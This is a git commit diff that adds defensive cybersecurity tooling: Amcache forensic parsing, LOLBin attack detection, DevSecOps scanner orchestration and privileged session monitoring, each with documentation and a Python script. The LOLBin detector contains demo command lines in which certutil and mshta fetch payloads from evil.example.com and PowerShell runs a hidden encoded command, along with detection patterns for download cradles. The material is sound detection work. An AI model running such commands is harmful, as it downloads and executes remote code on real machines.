feat: add 5 new cybersecurity skills - yara hunting, devsecops scanning, amcache, LOtL, privileged session monitoring

This commit is contained in:
mukul975
2026-03-11 00:38:40 +01:00
parent 7e3b1f87e4
commit cd8a26b606
20 changed files with 1520 additions and 0 deletions
@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
@@ -0,0 +1,18 @@
---
name: analyzing-windows-amcache-artifacts
description: >
Parse and analyze Windows Amcache.hve registry hive to extract program
execution evidence, file metadata, SHA-1 hashes, and device connection
history for digital forensics and incident response investigations.
domain: cybersecurity
subdomain: digital-forensics
tags: [amcache, windows-forensics, registry-analysis, execution-artifacts]
version: "1.0"
author: mahipal
license: Apache-2.0
---
# Analyzing Windows Amcache Artifacts
Extract execution evidence from Amcache.hve including application paths,
SHA-1 hashes, timestamps, and publisher metadata for DFIR investigations.
@@ -0,0 +1,67 @@
# API Reference: Analyzing Windows Amcache Artifacts
## Amcache.hve Location
```
C:\Windows\AppCompat\Programs\Amcache.hve
```
## Registry Keys
| Key Path | Contents |
|----------|---------|
| Root\InventoryApplicationFile | File execution evidence with SHA-1 |
| Root\InventoryApplication | Installed application metadata |
| Root\InventoryDevicePnp | PnP device connection history |
| Root\InventoryDriverBinary | Driver binary metadata |
## regipy Python Library
```bash
pip install regipy
```
```python
from regipy.registry import RegistryHive
reg = RegistryHive('/path/to/Amcache.hve')
for subkey in reg.get_key('Root\\InventoryApplicationFile').iter_subkeys():
values = {v.name: v.value for v in subkey.iter_values()}
print(values.get('Name'), values.get('LowerCaseLongPath'))
```
## AmcacheParser (Eric Zimmerman)
```bash
# Parse Amcache.hve to CSV
AmcacheParser.exe -f C:\evidence\Amcache.hve --csv C:\output\
# Include device and driver entries
AmcacheParser.exe -f Amcache.hve --csv output\ -i
```
### Output CSV Columns
| Column | Description |
|--------|------------|
| Name | Application/file name |
| LowerCaseLongPath | Full lowercase path |
| Publisher | Software publisher |
| FileId | SHA-1 hash (prefixed with 0000) |
| Size | File size in bytes |
| LinkDate | PE compilation timestamp |
| Version | File version string |
| ProgramId | Associated program GUID |
## Forensic Value
| Artifact | Evidence |
|----------|---------|
| SHA-1 hash | File identification even after deletion |
| LowerCaseLongPath | Execution path including USB/temp |
| LinkDate | PE compile time (timestomping detection) |
| Publisher | Legitimacy verification |
| Last Modified | Registry key update timestamp |
## Suspicious Indicators
| Pattern | Concern |
|---------|---------|
| Path contains \\Temp\\ | Execution from temp directory |
| Path contains \\Downloads\\ | User-downloaded execution |
| Missing Publisher | Unsigned/unknown binary |
| LinkDate far from file date | Possible timestomping |
| Known tool names (mimikatz, psexec) | Attacker tooling |
@@ -0,0 +1,166 @@
#!/usr/bin/env python3
"""Windows Amcache.hve forensic analysis agent.
Parses Amcache.hve registry hive to extract program execution history,
file metadata, and device information using the regipy library.
"""
import argparse
import json
import os
import sys
import datetime
import struct
try:
from regipy.registry import RegistryHive
HAS_REGIPY = True
except ImportError:
HAS_REGIPY = False
AMCACHE_FILE_KEY = "Root\InventoryApplicationFile"
AMCACHE_APP_KEY = "Root\InventoryApplication"
AMCACHE_DEVICE_KEY = "Root\InventoryDevicePnp"
AMCACHE_DRIVER_KEY = "Root\InventoryDriverBinary"
SUSPICIOUS_PATHS = [
"\\temp\\", "\\tmp\\", "\\appdata\\local\\temp",
"\\downloads\\", "\\public\\", "\\programdata\\",
"\\recycle", "\\users\\public",
]
SUSPICIOUS_NAMES = [
"mimikatz", "psexec", "lazagne", "procdump", "rubeus",
"sharphound", "bloodhound", "cobalt", "beacon",
"powershell_ise", "certutil", "mshta",
]
def parse_amcache_files(hive_path):
"""Parse InventoryApplicationFile entries from Amcache.hve."""
if not HAS_REGIPY:
return {"error": "regipy not installed. pip install regipy"}
try:
reg = RegistryHive(hive_path)
entries = []
for subkey in reg.get_key(AMCACHE_FILE_KEY).iter_subkeys():
values = {v.name: v.value for v in subkey.iter_values()}
entries.append({
"name": values.get("Name", ""),
"lower_case_path": values.get("LowerCaseLongPath", ""),
"publisher": values.get("Publisher", ""),
"version": values.get("Version", ""),
"sha1": values.get("FileId", "").lstrip("0000").lower() if values.get("FileId") else "",
"size": values.get("Size", 0),
"link_date": values.get("LinkDate", ""),
"program_id": values.get("ProgramId", ""),
"last_modified": subkey.header.last_modified.isoformat() if subkey.header.last_modified else "",
})
return entries
except Exception as e:
return {"error": str(e)}
def parse_amcache_apps(hive_path):
"""Parse InventoryApplication entries."""
if not HAS_REGIPY:
return {"error": "regipy not installed"}
try:
reg = RegistryHive(hive_path)
apps = []
for subkey in reg.get_key(AMCACHE_APP_KEY).iter_subkeys():
values = {v.name: v.value for v in subkey.iter_values()}
apps.append({
"name": values.get("Name", ""),
"version": values.get("Version", ""),
"publisher": values.get("Publisher", ""),
"install_date": values.get("InstallDate", ""),
"source": values.get("Source", ""),
"uninstall_string": values.get("UninstallString", ""),
"registry_key_path": values.get("RegistryKeyPath", ""),
})
return apps
except Exception as e:
return {"error": str(e)}
def detect_suspicious(entries):
"""Flag suspicious entries based on path and name patterns."""
findings = []
for entry in entries:
if isinstance(entry, dict) and "error" not in entry:
path = entry.get("lower_case_path", "").lower()
name = entry.get("name", "").lower()
reasons = []
for sp in SUSPICIOUS_PATHS:
if sp in path:
reasons.append(f"Suspicious path: {sp}")
for sn in SUSPICIOUS_NAMES:
if sn in name:
reasons.append(f"Suspicious name: {sn}")
if not entry.get("publisher"):
reasons.append("Missing publisher metadata")
if reasons:
findings.append({
"name": entry.get("name", ""),
"path": entry.get("lower_case_path", ""),
"sha1": entry.get("sha1", ""),
"reasons": reasons,
})
return findings
def main():
parser = argparse.ArgumentParser(description="Amcache.hve forensic analysis agent")
parser.add_argument("hive", nargs="?", help="Path to Amcache.hve file")
parser.add_argument("--apps", action="store_true", help="Parse InventoryApplication entries")
parser.add_argument("--suspicious-only", action="store_true", help="Show only suspicious entries")
parser.add_argument("--output", "-o", help="Output JSON report path")
args = parser.parse_args()
print("[*] Amcache.hve Forensic Analysis Agent")
print(f" regipy available: {HAS_REGIPY}")
if not args.hive:
print("\n[DEMO] Amcache.hve location: C:\\Windows\\AppCompat\\Programs\\Amcache.hve")
print(" Usage: python agent.py Amcache.hve [--apps] [--suspicious-only]")
print(" Extracts: file paths, SHA-1 hashes, publisher, timestamps, install info")
print(json.dumps({"demo": True, "regipy_available": HAS_REGIPY}, indent=2))
sys.exit(0)
report = {"timestamp": datetime.datetime.utcnow().isoformat() + "Z", "hive": args.hive}
files = parse_amcache_files(args.hive)
if isinstance(files, list):
report["file_entries"] = len(files)
suspicious = detect_suspicious(files)
report["suspicious_count"] = len(suspicious)
if args.suspicious_only:
report["findings"] = suspicious
else:
report["entries"] = files[:100]
report["suspicious"] = suspicious
print(f"[*] File entries: {len(files)}")
print(f"[*] Suspicious: {len(suspicious)}")
for s in suspicious[:10]:
print(f" [!] {s['name']}: {', '.join(s['reasons'])}")
else:
report["error"] = files
if args.apps:
apps = parse_amcache_apps(args.hive)
if isinstance(apps, list):
report["app_entries"] = len(apps)
print(f"[*] Application entries: {len(apps)}")
if args.output:
with open(args.output, "w") as f:
json.dump(report, f, indent=2, default=str)
print(json.dumps({"file_entries": report.get("file_entries", 0),
"suspicious": report.get("suspicious_count", 0)}, indent=2))
if __name__ == "__main__":
main()
@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
@@ -0,0 +1,19 @@
---
name: detecting-living-off-the-land-attacks
description: >
Detect abuse of legitimate Windows binaries (LOLBins) used for living off
the land attacks. Monitors process creation, command-line arguments, and
parent-child relationships to identify suspicious LOLBin execution patterns.
domain: cybersecurity
subdomain: threat-detection
tags: [lolbins, lotl, fileless-attacks, process-monitoring]
version: "1.0"
author: mahipal
license: Apache-2.0
---
# Detecting Living Off the Land Attacks
Monitor for suspicious use of legitimate Windows binaries (LOLBins)
including certutil, mshta, rundll32, regsvr32, and others used in
fileless and living-off-the-land attack techniques.
@@ -0,0 +1,70 @@
# API Reference: Detecting Living Off the Land Attacks
## LOLBAS Project
- Website: https://lolbas-project.github.io/
- API: https://lolbas-project.github.io/api/lolbas.json
- GitHub: https://github.com/LOLBAS-Project/LOLBAS
## Key LOLBins and MITRE Mappings
| Binary | MITRE ATT&CK | Abuse Type |
|--------|-------------|------------|
| certutil.exe | T1140, T1105 | File download, decode |
| mshta.exe | T1218.005 | Script execution via HTA |
| rundll32.exe | T1218.011 | Proxy execution |
| regsvr32.exe | T1218.010 | COM scriptlet execution |
| msbuild.exe | T1127.001 | Code compilation |
| bitsadmin.exe | T1197, T1105 | File download, persistence |
| wmic.exe | T1047 | WMI execution |
| cscript.exe | T1059.005 | VBS/JS script execution |
| installutil.exe | T1218.004 | .NET install bypass |
| powershell.exe | T1059.001 | Script execution |
## Sysmon Event IDs for Detection
| Event ID | Description |
|----------|------------|
| 1 | Process Create (CommandLine, ParentImage) |
| 3 | Network Connection (detect downloads) |
| 7 | Image Loaded (DLL side-loading) |
| 11 | File Create (dropped payloads) |
| 15 | FileCreateStreamHash (ADS abuse) |
## Sigma Rules for LOLBin Detection
```yaml
title: Certutil File Download
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith: '\\certutil.exe'
CommandLine|contains|all:
- 'urlcache'
- 'split'
- 'http'
condition: selection
level: high
tags:
- attack.defense_evasion
- attack.t1140
```
## Splunk SPL Detection
```spl
index=sysmon EventCode=1
| where match(Image, "(?i)(certutil|mshta|rundll32|regsvr32|bitsadmin)\\.exe$")
| eval suspicious=case(
like(CommandLine, "%urlcache%"), "certutil download",
like(CommandLine, "%javascript:%"), "script execution",
like(CommandLine, "%-enc %"), "encoded command",
true(), "review")
| where suspicious!="review"
| table _time Computer User Image CommandLine ParentImage suspicious
```
## Suspicious Parent-Child Relationships
| Parent | Suspicious Child |
|--------|-----------------|
| winword.exe | cmd.exe, powershell.exe, mshta.exe |
| excel.exe | cmd.exe, powershell.exe, wmic.exe |
| outlook.exe | powershell.exe, cmd.exe |
| wmiprvse.exe | powershell.exe, cmd.exe |
@@ -0,0 +1,222 @@
#!/usr/bin/env python3
"""Living off the land (LOLBin) attack detection agent.
Monitors process creation logs for suspicious use of legitimate Windows
binaries, correlates with LOLBAS project data, and flags anomalous
command-line patterns and parent-child process relationships.
"""
import argparse
import json
import os
import re
import sys
import datetime
try:
import requests
HAS_REQUESTS = True
except ImportError:
HAS_REQUESTS = False
LOLBIN_SIGNATURES = {
"certutil.exe": {
"suspicious_args": [
r"-urlcache", r"-split", r"-decode", r"-encode",
r"-verifyctl", r"http[s]?://",
],
"mitre": ["T1140", "T1105"],
"description": "Certificate utility abused for file download/decode",
},
"mshta.exe": {
"suspicious_args": [r"javascript:", r"vbscript:", r"http[s]?://", r"about:"],
"mitre": ["T1218.005"],
"description": "HTML Application host used for script execution",
},
"rundll32.exe": {
"suspicious_args": [
r"javascript:", r"shell32\.dll.*ShellExec_RunDLL",
r"url\.dll.*FileProtocolHandler", r"advpack\.dll.*RegisterOCX",
],
"mitre": ["T1218.011"],
"description": "DLL loader abused for proxy execution",
},
"regsvr32.exe": {
"suspicious_args": [r"/s", r"/u", r"/i:http", r"scrobj\.dll"],
"mitre": ["T1218.010"],
"description": "COM registration utility abused for script execution",
},
"msbuild.exe": {
"suspicious_args": [r"\.xml$", r"\.csproj$", r"/p:", r"\.tmp"],
"mitre": ["T1127.001"],
"description": "Build tool abused for code compilation and execution",
},
"installutil.exe": {
"suspicious_args": [r"/logfile=", r"/LogToConsole=false", r"/U"],
"mitre": ["T1218.004"],
"description": ".NET install utility abused for code execution",
},
"bitsadmin.exe": {
"suspicious_args": [r"/transfer", r"/create", r"/addfile", r"http[s]?://"],
"mitre": ["T1197", "T1105"],
"description": "BITS service abused for file download and persistence",
},
"wmic.exe": {
"suspicious_args": [
r"process\s+call\s+create", r"os\s+get", r"/node:",
r"shadowcopy\s+delete",
],
"mitre": ["T1047"],
"description": "WMI command-line abused for execution and recon",
},
"cscript.exe": {
"suspicious_args": [r"\.vbs", r"\.js", r"//E:jscript", r"//B"],
"mitre": ["T1059.005", "T1059.007"],
"description": "Script host executing VBS/JS from unusual location",
},
"powershell.exe": {
"suspicious_args": [
r"-enc\s+[A-Za-z0-9+/=]{20,}", r"-ExecutionPolicy\s+Bypass",
r"-WindowStyle\s+Hidden", r"Invoke-Expression",
r"IEX\s*\(", r"Net\.WebClient", r"DownloadString",
],
"mitre": ["T1059.001"],
"description": "PowerShell with obfuscation or download cradle",
},
}
SUSPICIOUS_PARENTS = {
"winword.exe": "Office application spawning child process",
"excel.exe": "Office application spawning child process",
"outlook.exe": "Email client spawning child process",
"powerpnt.exe": "Office application spawning child process",
"wmiprvse.exe": "WMI provider executing child process",
"svchost.exe": "Service host spawning unexpected child",
}
def analyze_process_event(process_name, command_line, parent_name=None):
"""Analyze a process creation event for LOLBin abuse."""
findings = []
proc_lower = process_name.lower()
cmd_lower = command_line.lower() if command_line else ""
sig = LOLBIN_SIGNATURES.get(proc_lower)
if sig:
matched_patterns = []
for pattern in sig["suspicious_args"]:
if re.search(pattern, cmd_lower, re.IGNORECASE):
matched_patterns.append(pattern)
if matched_patterns:
findings.append({
"type": "lolbin_abuse",
"binary": proc_lower,
"description": sig["description"],
"mitre_techniques": sig["mitre"],
"matched_patterns": matched_patterns,
"command_line": command_line[:200],
"severity": "HIGH",
})
if parent_name and parent_name.lower() in SUSPICIOUS_PARENTS:
findings.append({
"type": "suspicious_parent",
"parent": parent_name.lower(),
"child": proc_lower,
"description": SUSPICIOUS_PARENTS[parent_name.lower()],
"severity": "HIGH",
})
return findings
def scan_process_log(log_entries):
"""Scan a list of process creation log entries."""
all_findings = []
for entry in log_entries:
findings = analyze_process_event(
entry.get("process_name", ""),
entry.get("command_line", ""),
entry.get("parent_name"),
)
if findings:
entry_result = {"event": entry, "findings": findings}
all_findings.append(entry_result)
return all_findings
def fetch_lolbas_data():
"""Fetch LOLBAS project data from GitHub."""
if not HAS_REQUESTS:
return {"error": "requests not installed"}
url = "https://lolbas-project.github.io/api/lolbas.json"
try:
resp = requests.get(url, timeout=15)
if resp.status_code == 200:
data = resp.json()
return {"count": len(data), "binaries": [d.get("Name", "") for d in data[:30]]}
return {"error": f"HTTP {resp.status_code}"}
except Exception as e:
return {"error": str(e)}
def main():
parser = argparse.ArgumentParser(
description="Detect living off the land (LOLBin) attacks"
)
parser.add_argument("--log-file", help="JSON file with process creation events")
parser.add_argument("--fetch-lolbas", action="store_true", help="Fetch LOLBAS project data")
parser.add_argument("--output", "-o", help="Output JSON report path")
args = parser.parse_args()
print("[*] Living Off the Land Attack Detection Agent")
print(f" Monitored LOLBins: {len(LOLBIN_SIGNATURES)}")
report = {"timestamp": datetime.datetime.utcnow().isoformat() + "Z"}
if args.fetch_lolbas:
lolbas = fetch_lolbas_data()
report["lolbas_project"] = lolbas
print(f"[*] LOLBAS data: {lolbas}")
if args.log_file and os.path.isfile(args.log_file):
with open(args.log_file) as f:
events = json.load(f)
results = scan_process_log(events)
report["findings"] = results
print(f"[*] Events analyzed: {len(events)}")
print(f"[*] Suspicious findings: {len(results)}")
else:
demo_events = [
{"process_name": "certutil.exe",
"command_line": "certutil.exe -urlcache -split -f https://evil.example.com/payload.exe C:\\temp\\payload.exe",
"parent_name": "cmd.exe"},
{"process_name": "mshta.exe",
"command_line": "mshta.exe javascript:a=GetObject('script:https://evil.example.com/s.sct')",
"parent_name": "winword.exe"},
{"process_name": "powershell.exe",
"command_line": "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -enc SQBFAFgA...",
"parent_name": "excel.exe"},
{"process_name": "notepad.exe",
"command_line": "notepad.exe C:\\Users\\admin\\notes.txt",
"parent_name": "explorer.exe"},
]
results = scan_process_log(demo_events)
report["findings"] = results
print(f"\n[DEMO] Analyzed {len(demo_events)} process events")
for r in results:
for f in r["findings"]:
print(f" [!] {f['type']}: {f['binary'] if 'binary' in f else f.get('child','')} "
f"- {f['description']}")
if args.output:
with open(args.output, "w") as f:
json.dump(report, f, indent=2)
print(json.dumps({"lolbins_monitored": len(LOLBIN_SIGNATURES),
"findings": len(report.get("findings", []))}, indent=2))
if __name__ == "__main__":
main()
@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
@@ -0,0 +1,18 @@
---
name: implementing-devsecops-security-scanning
description: >
Integrate security scanning into CI/CD pipelines using tools like Semgrep,
Trivy, and Gitleaks. Covers SAST, SCA, container scanning, and secret
detection with structured JSON output for pipeline gates.
domain: cybersecurity
subdomain: application-security
tags: [devsecops, sast, sca, container-security, ci-cd]
version: "1.0"
author: mahipal
license: Apache-2.0
---
# Implementing DevSecOps Security Scanning
Automate SAST, SCA, container image, and secret scanning in CI/CD
pipelines with fail/pass gates based on severity thresholds.
@@ -0,0 +1,68 @@
# API Reference: DevSecOps Security Scanning
## Semgrep CLI (SAST)
```bash
# Scan with auto-detected rules
semgrep scan --config auto --json /path/to/code
# Scan with specific ruleset
semgrep scan --config p/owasp-top-ten --json /path/to/code
# Custom rule file
semgrep scan --config my_rules.yaml --json /path/to/code
# SARIF output for GitHub integration
semgrep scan --config auto --sarif -o results.sarif /path/to/code
```
## Trivy CLI (SCA / Container)
```bash
# Scan container image
trivy image --format json --quiet nginx:latest
# Scan filesystem for vulnerabilities
trivy fs --format json --scanners vuln,secret /path/to/project
# Scan with severity filter
trivy image --severity CRITICAL,HIGH --format json myapp:latest
# Scan IaC files
trivy config --format json /path/to/terraform/
```
## Gitleaks CLI (Secret Detection)
```bash
# Detect secrets in git repo
gitleaks detect --source /path/to/repo --report-format json --report-path report.json
# Scan specific commit range
gitleaks detect --source . --log-opts="HEAD~10..HEAD" --report-format json
# Protect mode (pre-commit)
gitleaks protect --staged --report-format json
```
## CI/CD Pipeline Gate Logic
| Severity | Exit Code | Action |
|----------|-----------|--------|
| CRITICAL | 1 (fail) | Block merge/deploy |
| HIGH | 1 (fail) | Block merge/deploy |
| MEDIUM | 0 (warn) | Warning in PR comment |
| LOW | 0 (pass) | Informational only |
## JSON Output Schema (Semgrep)
| Field | Description |
|-------|------------|
| results[].check_id | Rule identifier |
| results[].extra.severity | ERROR, WARNING, INFO |
| results[].path | Affected file path |
| results[].start.line | Line number |
| results[].extra.message | Finding description |
## JSON Output Schema (Trivy)
| Field | Description |
|-------|------------|
| Results[].Target | Scanned target name |
| Results[].Vulnerabilities[].VulnerabilityID | CVE identifier |
| Results[].Vulnerabilities[].Severity | CRITICAL/HIGH/MEDIUM/LOW |
| Results[].Vulnerabilities[].FixedVersion | Version with fix |
@@ -0,0 +1,172 @@
#!/usr/bin/env python3
"""DevSecOps security scanning pipeline agent.
Orchestrates Semgrep (SAST), Trivy (container/SCA), and Gitleaks (secrets)
scans via subprocess, aggregates findings, and enforces severity gates.
"""
import argparse
import json
import os
import subprocess
import sys
import datetime
SEVERITY_ORDER = {"CRITICAL": 4, "HIGH": 3, "MEDIUM": 2, "LOW": 1, "INFO": 0}
def run_semgrep(target_dir, config="auto"):
"""Run Semgrep SAST scan and return findings."""
cmd = ["semgrep", "scan", "--config", config, "--json", "--quiet", target_dir]
try:
result = subprocess.run(cmd, capture_output=True, text=True, timeout=300)
data = json.loads(result.stdout) if result.stdout.strip() else {}
findings = []
for r in data.get("results", []):
findings.append({
"tool": "semgrep",
"rule_id": r.get("check_id", ""),
"severity": r.get("extra", {}).get("severity", "WARNING").upper(),
"message": r.get("extra", {}).get("message", ""),
"file": r.get("path", ""),
"line": r.get("start", {}).get("line", 0),
})
return findings
except FileNotFoundError:
return [{"tool": "semgrep", "error": "semgrep not installed"}]
except subprocess.TimeoutExpired:
return [{"tool": "semgrep", "error": "scan timed out"}]
except json.JSONDecodeError:
return [{"tool": "semgrep", "error": "invalid JSON output"}]
def run_trivy(image_or_path, scan_type="image"):
"""Run Trivy vulnerability scan on image or filesystem."""
cmd = ["trivy", scan_type, "--format", "json", "--quiet", image_or_path]
if scan_type == "fs":
cmd = ["trivy", "fs", "--format", "json", "--quiet", "--scanners", "vuln,secret", image_or_path]
try:
result = subprocess.run(cmd, capture_output=True, text=True, timeout=300)
data = json.loads(result.stdout) if result.stdout.strip() else {}
findings = []
for res in data.get("Results", []):
for vuln in res.get("Vulnerabilities", []):
findings.append({
"tool": "trivy",
"rule_id": vuln.get("VulnerabilityID", ""),
"severity": vuln.get("Severity", "UNKNOWN").upper(),
"message": vuln.get("Title", ""),
"file": res.get("Target", ""),
"line": 0,
"fixed_version": vuln.get("FixedVersion", ""),
})
return findings
except FileNotFoundError:
return [{"tool": "trivy", "error": "trivy not installed"}]
except (subprocess.TimeoutExpired, json.JSONDecodeError) as e:
return [{"tool": "trivy", "error": str(e)}]
def run_gitleaks(repo_path):
"""Run Gitleaks secret detection scan."""
cmd = ["gitleaks", "detect", "--source", repo_path, "--report-format", "json",
"--report-path", "/dev/stdout", "--no-banner"]
try:
result = subprocess.run(cmd, capture_output=True, text=True, timeout=120)
data = json.loads(result.stdout) if result.stdout.strip().startswith("[") else []
findings = []
for leak in data:
findings.append({
"tool": "gitleaks",
"rule_id": leak.get("RuleID", ""),
"severity": "HIGH",
"message": leak.get("Description", ""),
"file": leak.get("File", ""),
"line": leak.get("StartLine", 0),
})
return findings
except FileNotFoundError:
return [{"tool": "gitleaks", "error": "gitleaks not installed"}]
except (subprocess.TimeoutExpired, json.JSONDecodeError) as e:
return [{"tool": "gitleaks", "error": str(e)}]
def enforce_gate(findings, fail_on="HIGH"):
"""Enforce security gate based on severity threshold."""
threshold = SEVERITY_ORDER.get(fail_on.upper(), 3)
blockers = [
f for f in findings
if not f.get("error") and SEVERITY_ORDER.get(f.get("severity", ""), 0) >= threshold
]
return {
"gate_threshold": fail_on,
"blocking_findings": len(blockers),
"passed": len(blockers) == 0,
}
def aggregate_report(all_findings):
"""Aggregate findings from all scanners."""
by_severity = {}
by_tool = {}
for f in all_findings:
if f.get("error"):
continue
sev = f.get("severity", "UNKNOWN")
tool = f.get("tool", "unknown")
by_severity[sev] = by_severity.get(sev, 0) + 1
by_tool[tool] = by_tool.get(tool, 0) + 1
return {
"total_findings": sum(1 for f in all_findings if not f.get("error")),
"by_severity": by_severity,
"by_tool": by_tool,
}
def main():
parser = argparse.ArgumentParser(description="DevSecOps security scanning pipeline")
parser.add_argument("target", nargs="?", help="Directory or container image to scan")
parser.add_argument("--semgrep", action="store_true", help="Run Semgrep SAST")
parser.add_argument("--trivy", action="store_true", help="Run Trivy vulnerability scan")
parser.add_argument("--trivy-type", default="fs", choices=["image", "fs"], help="Trivy scan type")
parser.add_argument("--gitleaks", action="store_true", help="Run Gitleaks secret detection")
parser.add_argument("--fail-on", default="HIGH", help="Fail gate on severity (default: HIGH)")
parser.add_argument("--output", "-o", help="Output JSON report path")
args = parser.parse_args()
print("[*] DevSecOps Security Scanning Pipeline")
report = {"timestamp": datetime.datetime.utcnow().isoformat() + "Z", "findings": []}
if not args.target:
print("[DEMO] Usage: python agent.py /path/to/code --semgrep --trivy --gitleaks")
print(" Tools: semgrep (SAST), trivy (SCA/container), gitleaks (secrets)")
print(json.dumps({"demo": True, "tools": ["semgrep", "trivy", "gitleaks"]}, indent=2))
sys.exit(0)
if args.semgrep:
report["findings"].extend(run_semgrep(args.target))
if args.trivy:
report["findings"].extend(run_trivy(args.target, args.trivy_type))
if args.gitleaks:
report["findings"].extend(run_gitleaks(args.target))
summary = aggregate_report(report["findings"])
gate = enforce_gate(report["findings"], args.fail_on)
report["summary"] = summary
report["gate"] = gate
print(f"[*] Total findings: {summary['total_findings']}")
print(f"[*] By severity: {summary['by_severity']}")
print(f"[*] Gate ({args.fail_on}): {'PASSED' if gate['passed'] else 'FAILED'}")
if args.output:
with open(args.output, "w") as f:
json.dump(report, f, indent=2)
print(json.dumps({"gate_passed": gate["passed"], "total": summary["total_findings"]}, indent=2))
sys.exit(0 if gate["passed"] else 1)
if __name__ == "__main__":
main()
@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
@@ -0,0 +1,18 @@
---
name: implementing-privileged-session-monitoring
description: >
Monitor and audit privileged user sessions including SSH, RDP, and
database access. Tracks session metadata, records commands, detects
anomalous activity, and enforces session policies for PAM compliance.
domain: cybersecurity
subdomain: identity-access-management
tags: [pam, session-monitoring, privileged-access, audit-logging]
version: "1.0"
author: mahipal
license: Apache-2.0
---
# Implementing Privileged Session Monitoring
Monitor privileged sessions (SSH, RDP, database) with real-time command
logging, anomaly detection, session recording, and compliance reporting.
@@ -0,0 +1,63 @@
# API Reference: Privileged Session Monitoring
## SSH Auth Log Parsing
```bash
# Location
/var/log/auth.log # Debian/Ubuntu
/var/log/secure # RHEL/CentOS
# Extract SSH sessions
grep "sshd.*Accepted" /var/log/auth.log
grep "sshd.*Failed" /var/log/auth.log
# Count by source IP
grep "sshd.*Accepted" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -rn
```
## Windows RDP Event IDs
| Event ID | Log | Description |
|----------|-----|------------|
| 4624 (Type 10) | Security | Successful RDP logon |
| 4625 (Type 10) | Security | Failed RDP logon |
| 1149 | TerminalServices-RemoteConnectionManager | RDP connection established |
| 21 | TerminalServices-LocalSessionManager | Session logon succeeded |
| 24 | TerminalServices-LocalSessionManager | Session disconnected |
| 25 | TerminalServices-LocalSessionManager | Session reconnected |
## PowerShell RDP Query
```powershell
Get-WinEvent -FilterHashtable @{LogName='Security';Id=4624} |
Where-Object {$_.Properties[8].Value -eq 10} |
Select-Object TimeCreated,
@{N='User';E={$_.Properties[5].Value}},
@{N='SourceIP';E={$_.Properties[18].Value}}
```
## CyberArk PSM REST API
```bash
# Get active sessions
curl -H "Authorization: $CYBERARK_TOKEN" \
"https://pvwa.example.com/PasswordVault/api/LiveSessions"
# Get session recordings
curl -H "Authorization: $CYBERARK_TOKEN" \
"https://pvwa.example.com/PasswordVault/api/Recordings?Limit=100"
```
## Session Policy Fields
| Policy | Default | Description |
|--------|---------|------------|
